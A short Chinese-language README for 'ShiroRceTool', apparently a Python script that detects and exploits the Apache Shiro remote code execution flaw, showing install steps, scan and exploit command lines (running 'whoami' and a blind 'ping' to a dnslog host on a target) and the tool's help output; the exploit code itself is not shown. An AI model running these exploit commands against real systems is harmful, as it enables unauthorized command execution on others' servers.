一個簡單的Shiro RCE檢測和利用腳本

0x01 工具介紹

一個簡單的Shiro RCE檢測和利用腳本。

0x02 安裝與使用

1、安裝需要的包

pip install -r requirements.txt

2、檢查該漏洞

python ShiroRceTool.py -m scan -u "http://example.com"

3、執(zhí)行命令 (不回顯)

python ShiroRceTool.py -m exploit -u "http://example.com" -c "ping dnslog.example.com"

4、執(zhí)行命令（嘗試回顯）

python ShiroRceTool.py -m exploit -u "http://example.com" -c "whoami" -e

5、獲取幫助 - Get help

python ShiroRceTool.py
 ____  _     _           ____         _____           _
/ ___|| |__ (_)_ __ ___ |  _  ___ __|_   _|__   ___ | |
\___ | '_ | | '__/ _ | |_) / __/ _ | |/ _  / _ | |
 ___) | | | | | | | (_) |  _ < (_|  __/| | (_) | (_) | |
|____/|_| |_|_|_|  \___/|_| _\___\___||_|\___/ \___/|_|


                        By: Hack3rHan


usage: ShiroRceTool.py [-h] [-m MODE] [-u URL] [-c CMD] [-e]


options:
  -h, --help            show this help message and exit
  -m MODE, --mode MODE  "exploit" or "scan".
  -u URL, --url URL     URL of the target.
  -c CMD, --cmd CMD     Command to execute.
  -e, --echo            Echo mode.

審核編輯：湯梓紅